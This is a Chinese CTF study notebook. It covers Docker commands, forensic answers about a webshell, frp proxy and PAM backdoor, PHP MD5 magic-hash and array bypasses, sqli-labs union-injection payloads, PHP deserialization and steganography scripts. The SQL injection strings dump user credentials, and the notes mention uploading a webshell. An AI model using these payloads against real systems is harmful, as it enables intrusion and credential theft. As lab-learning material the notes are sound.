Docker卷用于在容器和主机之间持久化存储数据。以下是一些与Docker卷相关的常用命令:

  • docker volume ls:列出所有的Docker卷。
  • docker volume create:创建一个新的Docker卷。
  • docker volume inspect:获取Docker卷的详细信息。
  • docker volume rm:删除指定的Docker卷。

19. Docker-compose

Docker-compose是一个用于定义和运行多个容器应用程序的工具。它使用YAML文件来配置应用程序的服务、网络和卷等。以下是一些与Docker-compose相关的常用命令:

  • docker-compose up:构建并启动Docker-compose定义的所有服务。
  • docker-compose down:停止并删除Docker-compose定义的所有服务。
  • docker-compose build:构建Docker-compose定义的所有服务的镜像。
  • docker-compose logs:查看Docker-compose定义的所有服务的日志。

20. Docker swarm

Docker swarm是Docker的原生集群管理和编排工具,用于在多个Docker主机上运行和管理应用程序。以下是一些与Docker swarm相关的常用命令:

  • docker swarm init:初始化一个新的Docker swarm集群。
  • docker swarm join:将节点加入到Docker swarm集群。
  • docker node ls:列出Docker swarm集群中的所有节点。
  • docker service:管理在Docker swarm集群中运行的服务。

21. Dockerfile

Dockerfile是用于定义Docker镜像构建过程的文本文件。它包含一系列的指令和配置,用于指导Docker引擎在构建过程中执行特定的操作。以下是一些与Dockerfile相关的常用命令:

  • FROM:指定基础镜像。
  • RUN:在容器内执行命令。
  • COPY:将文件或目录从主机复制到容器内。
  • ADD:将文件或目录从主机复制到容器内,并支持URL和解压缩操作。
  • WORKDIR:设置工作目录。
  • EXPOSE:声明容器运行时监听的端口。
  • CMD:指定容器启动时要执行的命令。

这些命令可以在Dockerfile中按照特定的顺序组合使用,以定义和构建自定义的Docker镜像。

22. Docker登录和认证

要登录到Docker仓库或私有镜像仓库,可以使用以下命令:

  • docker login:登录到Docker仓库。
  • docker logout:退出登录。

登录后,您可以使用docker pulldocker push命令来拉取和推送镜像。

23. Docker容器日志管理

除了使用docker logs命令查看容器日志外,还可以使用以下命令对容器日志进行管理:

  • docker logs --tail:只显示最后几行的日志。
  • docker logs --follow:实时跟踪容器的日志输出。
  • docker logs --since:只显示特定时间之后的日志。
  • docker logs --until:只显示特定时间之前的日志。

签到题

一眼下去全是http协议

jwt

常见的web认证方式

HTTP Basic Auth:

​ 这是一种最古老的安全认证方式,简单地在访问API时带上访问的username和password,这是一种最古老的安全认证方式,这种方式就是简单的访问API的时候,带上访问的username和password,由于信息会暴露出去,所以现在也越来越少用了,现在都用更加安全保密的认证方式(https://www.cnblogs.com/66w66/p/13845792.html)[1](https://www.cnblogs.com/66w66/p/13845792.html)。

OAuth2:

​ OAuth(开放授权)是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的私密资源,而无需将用户名和密码提供给第三方](https://www.cnblogs.com/66w66/p/13845792.html)[1](https://www.cnblogs.com/66w66/p/13845792.html)。

Cookie-Session Auth:

​ 这种认证机制是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象](https://www.cnblogs.com/66w66/p/13845792.html)[1](https://www.cnblogs.com/66w66/p/13845792.html)。

表单认证:

​ 这种方式是最基础、最常见的认证方式。客户端通过post或get请求参数的方式,把用户名、密码上传到服务器端](https://zhuanlan.zhihu.com/p/590149659)[2](https://zhuanlan.zhihu.com/p/590149659)。

HTTP身份验证框架:

​ 包括基本认证、摘要认证、Hawk认证](https://zhuanlan.zhihu.com/p/590149659)[2](https://zhuanlan.zhihu.com/p/590149659)。

令牌方式:包括Session&Cookie认证、JWT认证](https://zhuanlan.zhihu.com/p/590149659)[2](https://zhuanlan.zhihu.com/p/590149659)。

2.1

简单的流量审计,查看登录后的 cookie 格式可知使用了 jwt 的认证方式。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

2.2

黑客绕过验证使用的jwt中,id和username是_10087#admin _。

找到绕过验证的流量对应的token解码得到

2.3

黑客获取webshell之后,权限是_== root==_?

2.4

黑客上传的恶意文件文件名是1.c

2.5

黑客在服务器上编译的恶意so文件,文件名是looter.so

2.6

黑客在服务器上修改了一个配置文件,文件的绝对路径为__/etc/pam.d/common-auth__

这里looter.so被移动到/etc/pam.d/common-auth 猜测是被修改的路径

3.webshell

1.

黑客登录系统使用的密码是__Admin123!@# _

搜username跟踪tcp流

2

黑客修改了一个日志文件,文件的绝对路径为/var/www/html/data/Runtime/Logs/Home/21_08_07.log

跟这字节流向后翻推断黑客的操作

3.

黑客获取webshell之后,权限是__www-data_?

其实这里可以猜 权限无非就是root 和www-data,跟踪字节流可以发现黑客进行里whoami

搜whoami能找到对应流量

4.

黑客写入的webshell文件名是1.php

5.

黑客上传的代理工具客户端名字是__frpc__。

6.

黑客代理工具的回连服务端IP是192.168.239.123

7.

黑客的socks5的连接账号、密码是0HDFt16cLQJ#JTN276Gp

4.日志分析

cat 文件 |grep 200

www.zip

鹏程杯

我的壁纸

1.图片分离得到一个压缩包,一个文本一个图片,一个音频,压缩包有个注释snowday,是snow隐写的密钥

对flag.txt解snow得一部分flag

2.音频解SSTV得二维码,解二维码的部分flag

3.图片的备注信息里有一个password,尝试steghide解出另外一部分flag

web学习

一.PHPMD5绕过

1 “oe” 绕过

​ 因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

​ 基本的原理是这样的,但更严谨的字符串格式是,0e 开头,同时后面都是数字,不能包含其他字符的字符串,md5 值才会相等(== 的结果为 True,但 === 的结果为 False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$a = "s878926199a";
$b = "s155964671a";

print_r($a . "-->" . md5($a) . "<br>");
print_r($b . "-->" . md5($b) . "<br>");
// s878926199a-->0e545993274517709034328855841020
// s155964671a-->0e342768416822451524974117254469

print_r(var_dump(md5($a) == md5($b)) . "<br>"); // bool(true)

// 数字 vs 数字
$a1 = "0e33";
$b1 = "0e89";
print_r(var_dump($a1 == $b1) . "<br>"); // bool(true)

// 数字 vs 字母
$a3 = "0eadd";
$b3 = "0e232";
print_r(var_dump($a3 == $b3) . "<br>"); // bool(false)

// 数字 vs 数字/字母
$a4 = "0ea34343dd";
$b4 = "0e232";
print_r(var_dump($a4 == $b4) . "<br>"); // bool(false)

利用

常见的 md5 值是 0e 开头且后面均为数字的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
1110242161
0e435874558488625891324861198103
1320830526
0e912095958985483346995414060832
1586264293
0e622743671155995737639662718498
2302756269
0e250566888497473798724426794462
2427435592
0e067696952328669732475498472343
2653531602
0e877487522341544758028810610885
3293867441
0e471001201303602543921144570260
3295421201
0e703870333002232681239618856220
3465814713
0e258631645650999664521705537122
3524854780
0e507419062489887827087815735195
3908336290
0e807624498959190415881248245271
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536
数组绕过(PHP 8 无法绕过)

在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 ===== 比较的结果均为 True

1
2
3
4
5
6
7
8
9
10
11
// /param.php?a[]=1&b[]=2
print_r(PHP_VERSION . "<br>");

$a = $_GET["a"];
$b = $_GET["b"];

print_r($a . "<br>");
print_r($b . "<br>");

print_r(var_dump(md5($a) === md5($b)));

md5 碰撞

利用 fastcoll 进行 md5 碰撞,生成两个字面值不同但 md5 相同的文件。
新建一个空的 txt 文档。

然后拖到 exe 上,自动生成两个文件。

得到两个文件,通过代码读取即可。

1
2
3
4
5
6
7
8
9
10
<?php

$a = file_get_contents('D:tmp\a_msg1.txt');
$b = file_get_contents('D:tmp\a_msg2.txt');

print_r($a . "<br>");
print_r($b . "<br>");
print_r(var_dump($a === $b) . "<br>"); // bool(false)
print_r(var_dump(md5($a) === md5($b)) . "<br>"); // bool(true)

md5 碰撞面对一些绕过非常有用,例如通过参数上传一句话木马

二.sqli-labs靶场学习

less1
1
2
3
4
5
6
7
8
9
10
#联合注入字符型
?id=1' #错误显示
?id=1'--+ #正常显示,为字符型注入
?id=1' order by 3 --+ #判断列数
?id=-1 union select 1,2,3 #爆出显示位
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

less2
1
2
3
4
5
6
7
8
9
10
11
12
#联合注入数字型
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。

#数字型
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

less3

![](C:\Users\tong\Pictures\Screenshots\屏幕截图 2023-10-17 170104.png)

1
2
3
4
5
6
7
8
#联合注入字符型
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
less4
1
2
3
4
5
6
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

三..php反序列化

1.魔法方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__construct()            //类的构造函数,创建对象时触发

__destruct() //类的析构函数,对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set() //在给不可访问属性赋值时触发

__isset() //当对不可访问属性调用 isset() 或 empty() 时触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当尝试以调用函数的方式调用一个对象时触发

__sleep() //执行serialize()时,先会调用这个方法

__wakeup() //执行unserialize()时,先会调用这个方法

__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

2.序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
} // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>

输出结果

1
2
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

序列化格式

四.dirsearch用法

python dirsearch.py -u http://xxxx 就OK了

再高级一点就是加上网站语言,

python dirsearch.py -u http://xxxx -e php -e 后面接网站语言,这里php做例子。

还有在高级点的就是

python dirsearch.py -u http://xxxx -w 指定字典

1
python dirsearch.py -u http://ca4aba23-6dea-4a70-9bf8-3208c5714f83.node5.buuoj.cn -w db/dicc.txt

python dirsearch.py -u http://xxxx -r 递归目录(跑出目录后,继续跑目录下面的目录)
python dirsearch.py -u http://xxxx –random-agents 使用随机UA

五.HTTP

http状态码

当浏览者访问一个网页时,浏览者的浏览器会向网页所在服务器发出请求。当浏览器接收并显示网页前,此网页所在的服务器会返回一个包含 HTTP 状态码的信息头(server header)用以响应浏览器的请求。

HTTP 状态码的英文为 HTTP Status Code。。

下面是常见的 HTTP 状态码:

  • 200 - 请求成功
  • 301 - 资源(网页等)被永久转移到其它URL
  • 404 - 请求的资源(网页等)不存在
  • 500 - 内部服务器错误
HTTP 状态码分类

HTTP 状态码由三个十进制数字组成,第一个十进制数字定义了状态码的类型。响应分为五类:信息响应(100–199),成功响应(200–299),重定向(300–399),客户端错误(400–499)和服务器错误 (500–599):

分类 分类描述
1** 信息,服务器收到请求,需要请求者继续执行操作
2** 成功,操作被成功接收并处理
3** 重定向,需要进一步的操作以完成请求
4** 客户端错误,请求包含语法错误或无法完成请求
5** 服务器错误,服务器在处理请求的过程中发生了错误

HTTP状态码列表:

状态码 状态码英文名称 中文描述
100 Continue 继续。客户端应继续其请求
101 Switching Protocols 切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议,例如,切换到HTTP的新版本协议
200 OK 请求成功。一般用于GET与POST请求
201 Created 已创建。成功请求并创建了新的资源
202 Accepted 已接受。已经接受请求,但未处理完成
203 Non-Authoritative Information 非授权信息。请求成功。但返回的meta信息不在原始的服务器,而是一个副本
204 No Content 无内容。服务器成功处理,但未返回内容。在未更新网页的情况下,可确保浏览器继续显示当前文档
205 Reset Content 重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图。可通过此返回码清除浏览器的表单域
206 Partial Content 部分内容。服务器成功处理了部分GET请求
300 Multiple Choices 多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表用于用户终端(例如:浏览器)选择
301 Moved Permanently 永久移动。请求的资源已被永久的移动到新URI,返回信息会包括新的URI,浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替
302 Found 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI
303 See Other 查看其它地址。与301类似。使用GET和POST请求查看
304 Not Modified 未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源
305 Use Proxy 使用代理。所请求的资源必须通过代理访问
306 Unused 已经被废弃的HTTP状态码
307 Temporary Redirect 临时重定向。与302类似。使用GET请求重定向
400 Bad Request 客户端请求的语法错误,服务器无法理解
401 Unauthorized 请求要求用户的身份认证
402 Payment Required 保留,将来使用
403 Forbidden 服务器理解请求客户端的请求,但是拒绝执行此请求
404 Not Found 服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置”您所请求的资源无法找到”的个性页面
405 Method Not Allowed 客户端请求中的方法被禁止
406 Not Acceptable 服务器无法根据客户端请求的内容特性完成请求
407 Proxy Authentication Required 请求要求代理的身份认证,与401类似,但请求者应当使用代理进行授权
408 Request Time-out 服务器等待客户端发送的请求时间过长,超时
409 Conflict 服务器完成客户端的 PUT 请求时可能返回此代码,服务器处理请求时发生了冲突
410 Gone 客户端请求的资源已经不存在。410不同于404,如果资源以前有现在被永久删除了可使用410代码,网站设计人员可通过301代码指定资源的新位置
411 Length Required 服务器无法处理客户端发送的不带Content-Length的请求信息
412 Precondition Failed 客户端请求信息的先决条件错误
413 Request Entity Too Large 由于请求的实体过大,服务器无法处理,因此拒绝请求。为防止客户端的连续请求,服务器可能会关闭连接。如果只是服务器暂时无法处理,则会包含一个Retry-After的响应信息
414 Request-URI Too Large 请求的URI过长(URI通常为网址),服务器无法处理
415 Unsupported Media Type 服务器无法处理请求附带的媒体格式
416 Requested range not satisfiable 客户端请求的范围无效
417 Expectation Failed 服务器无法满足Expect的请求头信息
500 Internal Server Error 服务器内部错误,无法完成请求
501 Not Implemented 服务器不支持请求的功能,无法完成请求
502 Bad Gateway 作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接收到了一个无效的响应
503 Service Unavailable 由于超载或系统维护,服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中
504 Gateway Time-out 充当网关或代理的服务器,未及时从远端服务器获取请求
505 HTTP Version not supported 服务器不支持请求的HTTP协议的版本,无法完成处理
HTTP 请求方法

根据 HTTP 标准,HTTP 请求可以使用多种请求方法。

HTTP1.0 定义了三种请求方法: GET, POST 和 HEAD 方法。

HTTP1.1 新增了六种请求方法:OPTIONS、PUT、PATCH、DELETE、TRACE 和 CONNECT 方法。

序号 方法 描述
1 GET 请求指定的页面信息,并返回实体主体。
2 HEAD 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容。
5 DELETE 请求服务器删除指定的页面。
6 CONNECT HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。
9 PATCH 是对 PUT 方法的补充,用来对已知资源进行局部更新 。
HTTP 响应头信息

HTTP请求头提供了关于请求,响应或者其他的发送实体的信息。

在本章节中我们将具体来介绍HTTP响应头信息。

应答头 说明
Allow 服务器支持哪些请求方法(如GET、POST等)。
Content-Encoding 文档的编码(Encode)方法。只有在解码之后才可以得到Content-Type头指定的内容类型。利用gzip压缩文档能够显著地减少HTML文档的下载时间。Java的GZIPOutputStream可以很方便地进行gzip压缩,但只有Unix上的Netscape和Windows上的IE 4、IE 5才支持它。因此,Servlet应该通过查看Accept-Encoding头(即request.getHeader(“Accept-Encoding”))检查浏览器是否支持gzip,为支持gzip的浏览器返回经gzip压缩的HTML页面,为其他浏览器返回普通页面。
Content-Length 表示内容长度。只有当浏览器使用持久HTTP连接时才需要这个数据。如果你想要利用持久连接的优势,可以把输出文档写入 ByteArrayOutputStream,完成后查看其大小,然后把该值放入Content-Length头,最后通过byteArrayStream.writeTo(response.getOutputStream()发送内容。
Content-Type 表示后面的文档属于什么MIME类型。Servlet默认为text/plain,但通常需要显式地指定为text/html。由于经常要设置Content-Type,因此HttpServletResponse提供了一个专用的方法setContentType。
Date 当前的GMT时间。你可以用setDateHeader来设置这个头以避免转换时间格式的麻烦。
Expires 应该在什么时候认为文档已经过期,从而不再缓存它?
Last-Modified 文档的最后改动时间。客户可以通过If-Modified-Since请求头提供一个日期,该请求将被视为一个条件GET,只有改动时间迟于指定时间的文档才会返回,否则返回一个304(Not Modified)状态。Last-Modified也可用setDateHeader方法来设置。
Location 表示客户应当到哪里去提取文档。Location通常不是直接设置的,而是通过HttpServletResponse的sendRedirect方法,该方法同时设置状态代码为302。
Refresh 表示浏览器应该在多少时间之后刷新文档,以秒计。除了刷新当前文档之外,你还可以通过setHeader(“Refresh”, “5; URL=http://host/path")让浏览器读取指定的页面。 注意这种功能通常是通过设置HTML页面HEAD区的<META HTTP-EQUIV=”Refresh” CONTENT=”5;URL=http://host/path">实现,这是因为,自动刷新或重定向对于那些不能使用CGI或Servlet的HTML编写者十分重要。但是,对于Servlet来说,直接设置Refresh头更加方便。 注意Refresh的意义是”N秒之后刷新本页面或访问指定页面”,而不是”每隔N秒刷新本页面或访问指定页面”。因此,连续刷新要求每次都发送一个Refresh头,而发送204状态代码则可以阻止浏览器继续刷新,不管是使用Refresh头还是<META HTTP-EQUIV=”Refresh” …>。 注意Refresh头不属于HTTP 1.1正式规范的一部分,而是一个扩展,但Netscape和IE都支持它。
Server 服务器名字。Servlet一般不设置这个值,而是由Web服务器自己设置。
Set-Cookie 设置和页面关联的Cookie。Servlet不应使用response.setHeader(“Set-Cookie”, …),而是应使用HttpServletResponse提供的专用方法addCookie。参见下文有关Cookie设置的讨论。
WWW-Authenticate 客户应该在Authorization头中提供什么类型的授权信息?在包含401(Unauthorized)状态行的应答中这个头是必需的。例如,response.setHeader(“WWW-Authenticate”, “BASIC realm=\”executives\””)。 注意Servlet一般不进行这方面的处理,而是让Web服务器的专门机制来控制受密码保护页面的访问(例如.htaccess)。

buuctf PHP【极客大挑战】

dirsearch 扫后台备份文件 www.zip

index.php :页面传入了一个select参数并把他反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

/*
1.include 'class.php';:这行代码用于引入文件class.php,该文件中包含了一个类的定义或其他相关的代码。

2.$select = $_GET['select'];:这行代码将HTTP GET请求中名为select的参数的值赋给变量$select。$_GET是一个包含了所有通过GET方法发送到当前脚本的参数和值的全局数组。

3.$res=unserialize(@$select);:这行代码将变量$select的值进行反序列化,并将结果赋给变量$res。unserialize()函数用于将之前通过serialize()函数序列化的字符串转换回原始的PHP数据类型。@符号用于抑制可能出现的反序列化错误。
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;//当用户名为 'admin' 时,输出全局变量 $flag 的值
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

我的壁纸

1.图片分离得到一个压缩包,一个文本一个图片,一个音频,压缩包有个注释snowday,是snow隐写的密钥

对flag.txt解snow得一部分flag

2.音频解SSTV得二维码,解二维码的部分flag

3.图片的备注信息里有一个password,尝试steghide解出另外一部分flag

snow隐写

1
SNOW.EXE  -C -p 他朝若是同淋雪  flag.txt

F5隐写

1
java Extract “待提取的图片路径” -p 密码

outguess隐写

输入outguess -help即可获得相关命令。
加密:

1
outguess -k “my secret key” -d hidden.txt demo.jpg out.jpg

加密之后,demo.jpg会覆盖out.jpg,hidden.txt的内容是要隐藏的东西。
解密:

1
outguess -k “my secret key” -r out.jpg hidden.txt

解密之后,紧密内容放在hidden.txt中

栅栏里的大帝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def decode(string,number):
for i in string:
if 'a' <= i <= 'z':
print(chr(ord('a')+(ord(i)-ord('a')-space2)%26),end = '')
elif 'A' <= i <= 'Z':
print(chr(ord('A')+(ord(i)-ord('A')-space2)%26),end = '')
else:
print(i,end = '')
print("\n")

def decipherin(string,space1,space2):
str1 = ''
if space1 >= len(string):
decode(string,space2)
elif len(string)%space1 == 0:
for i in range(0,len(string)//space1):
str1 += string[i:len(string)+1:len(string)//space1]
else:
for i in range(0,len(string)//space1+1):
str1 += string[i:len(string)+1:len(string)//space1+1]

decode(str1,space2)

text = input('请输入密文')

for space1 in range(1,15):
for space in range(26):
space2 = space%26
if ' ' in text:
print('密文有误')
else:
decipherin(text,space1,space2)

flag{th1s_1s_f149}

LSB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import binascii
import struct
crcbp = open("e:\Desktop\python\丁真和他的小马.png", "rb").read()
crc32frombp = int(crcbp[29:33].hex(),16)
print(crc32frombp)

for i in range(4000):
for j in range(4000):
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
print(crc32)
if(crc32 == crc32frombp):
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)

修复图片后LSB隐写查看可以zhi_shi_xue_bao,包上flag{},提交

png宽高爆破

1
2
3
4
5
6
7
8
9
10
#判断谁被修改了
import zlib

image_data=open('图片路径','rb')
bin_data=image_data.read()
crc32key = zlib.crc32(bin_data[12:29]) #使用函数计算
if crc32key==int(bin_data[29:33].hex(), 16):#对比算出的CRC和原本的CRC
print('宽高没有问题')
else:
print('宽高被改了')
1
2
3
4
5
6
7
8
9
10
#爆破高,需要自查查图片信息。Python2运行
import binascii
import struct
crc32key = 0xFF800203
for i in range(0, 65535):
height = struct.pack('>i', i)
data = '\x49\x48\x44\x52\x00\x00\x00\x64' + height + '\x08\x02\x00\x00\x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print ''.join(map(lambda c: "%02X" % ord(c), height))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#只需要填写图片路径,爆破宽和高,有点费电脑
import binascii
import struct
crcbp = open("E:\Desktop\cd83c00e-130c-47ba-b4d8-c0c0b8d8de31.png", "rb").read()
crc32frombp = int(crcbp[29:33].hex(),16)
print(crc32frombp)

for i in range(4000):
for j in range(4000):
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
print(crc32)
if(crc32 == crc32frombp):
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
#单爆破宽度,只需输入图片地址
import struct
import binascii
import os
fi=open('d21007e64ba84021875c3556ece71173.png','rb').read()
#12-15字节代表固定的文件头数据块的标示,16-19字节代表宽度,20-23字节代表高度,24-28字节分别代表
# Bit depth、ColorType、Compression method、Filter method、Interlace method
#29-32字节为CRC校验和
for i in range(10000):#宽度0-9999搜索
data=fi[12:16]+struct.pack('>I',i)+fi[20:29] #pack函数将int转为bytes,>表示大端00 00 00 02,I表示4字节无符号int;<表示小端 02 00 00 00
crc=binascii.crc32(data)&0xffffffff #byte的大小为8bits而int的大小为32bits,转换时进行与运算避免补码问题0x932f8a6b
if crc==struct.unpack('>I',fi[29:33])[0]&0xffffffff : #解开为无符号整数
print(i)

base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
d=open("文件路径","r").read()
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
if i.find("==")>0:
temp=bin((base64.find(i[-3])&15))[2:]
#取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
elif i.find("=")>0:
temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) #结果是 Base_sixty_four_point_five转换为

stegdetect

stegdetect 就是用来检测jpg类型的图片是否隐藏着其他文件或内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
q – 仅显示可能包含隐藏内容的图像

